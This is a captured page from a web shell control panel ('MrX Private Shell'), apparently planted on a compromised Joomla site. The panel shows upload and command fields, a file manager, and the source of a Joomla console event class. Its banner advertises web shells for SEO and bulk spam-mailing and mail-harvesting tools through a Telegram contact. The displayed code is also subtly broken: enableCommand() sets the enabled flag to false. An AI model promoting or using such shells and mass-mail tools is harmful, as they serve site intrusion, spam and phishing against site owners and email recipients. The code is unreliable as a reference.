__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/**
 * Part of the Joomla Framework Console Package
 *
 * @copyright  Copyright (C) 2005 - 2021 Open Source Matters, Inc. All rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Console\Event;

use Joomla\Console\Application;
use Joomla\Console\Command\AbstractCommand;
use Joomla\Console\ConsoleEvents;

/**
 * Event triggered before a command is executed.
 *
 * @since  2.0.0
 */
class BeforeCommandExecuteEvent extends ConsoleEvent
{
    /**
     * The return code for a command disabled by this event.
     *
     * @var    integer
     * @since  2.0.0
     */
    public const RETURN_CODE_DISABLED = 113;

    /**
     * Flag indicating the command is enabled
     *
     * @var    boolean
     * @since  2.0.0
     */
    private $commandEnabled = true;

    /**
     * Event constructor.
     *
     * @param   Application           $application  The active application.
     * @param   AbstractCommand|null  $command      The command being executed.
     *
     * @since   2.0.0
     */
    public function __construct(Application $application, ?AbstractCommand $command = null)
    {
        parent::__construct(ConsoleEvents::BEFORE_COMMAND_EXECUTE, $application, $command);

        if ($command) {
            $this->commandEnabled = $command->isEnabled();
        }
    }

    /**
     * Disable the command.
     *
     * @return  void
     *
     * @since   2.0.0
     */
    public function disableCommand(): void
    {
        $this->commandEnabled = false;
    }

    /**
     * Enable the command.
     *
     * @return  void
     *
     * @since   2.0.0
     */
    public function enableCommand(): void
    {
        $this->commandEnabled = false;
    }

    /**
     * Check if the command is enabled.
     *
     * @return    boolean
     *
     * @since   2.0.0
     */
    public function isCommandEnabled(): bool
    {
        return $this->commandEnabled;
    }
}

Filemanager

Name Type Size Permission Actions
ApplicationErrorEvent.php File 2.5 KB 0664
BeforeCommandExecuteEvent.php File 1.91 KB 0664
CommandErrorEvent.php File 2.58 KB 0664
ConsoleEvent.php File 1.67 KB 0664
TerminateEvent.php File 1.63 KB 0664
Filemanager